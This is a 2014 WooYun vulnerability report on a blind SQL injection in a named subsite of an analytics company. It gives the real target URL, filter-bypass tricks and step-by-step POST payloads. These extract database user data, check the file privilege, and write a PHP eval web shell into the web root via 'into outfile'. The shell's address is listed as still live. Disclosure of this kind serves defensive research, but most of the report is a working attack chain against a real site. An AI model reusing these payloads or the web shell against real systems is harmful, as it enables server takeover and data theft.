漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-052067
漏洞标题：易观网某分站SQL盲注getshell
相关厂商：易观网
漏洞作者： Mody
提交时间：2014-02-26 15:48
修复时间：2014-03-08 15:49
公开时间：2014-03-08 15:49
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-02-26： 细节已通知厂商并且等待厂商处理中
2014-03-08： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
看易观网这位厂商挺良心的，我就来了
是盲注啊，又让我手工了一回。。。
详细说明：
漏洞地址
url
http://enfodesk.com/SMinisite/newinfo/search.html
post参数
x=0&y=0&keywords_global=%')%09%26%26%09hex(substr(user(),1,1)<72;%09--
注入限制
空格会被分开，用%09绕过
and被过滤，用%26%26绕过
hex(),char()等被过滤
检测“<?”，采用concat绕过
1. 错误回显
x=0&y=0&keywords_global=%'
2. 注入存在测试
and 1=1 测试
x=0&y=0&keywords_global=%')%09%26%26%091=1;%09--
回显正常
and 1=2 测试
x=0&y=0&keywords_global=%')%09%26%26%091=1;%09--
没有查到结果
3. 漏洞利用
burpsuit爆user()
x=0&y=0&keywords_global=%')%09%26%26%09substr(user(),1,1)='@';%09--
结果tuoniao@localhost
测试文件权限
x=0&y=0&keywords_global=%')%09%26%26%09(select%09File_priv%09from%09mysql.user%09where%09User='tuoniao'%09limit%091,1)='Y';%09--
可以看出有文件权限
4. 种马
x=0&y=0&keywords_global=aaaa')%09union%09select%09concat('<',"?php\reval($_POST['mody']);?>")%09into%09outfile%09'/var/www/www/SMinisite/SMinisite/mt_publichttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/14.php';%09--
shell地址
http://enfodesk.com/SMinisite/SMinisite/mt_publichttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/14.php
5. 数据库权限
root权限有木有啊
漏洞证明：
shell还在
赶紧补吧
修复方案：
过滤注入
版权声明：转载请注明来源 Mody@乌云
漏洞回应
厂商回应：
危害等级：无影响厂商忽略
忽略时间：2014-03-08 15:49
厂商回复：
最新状态：
暂无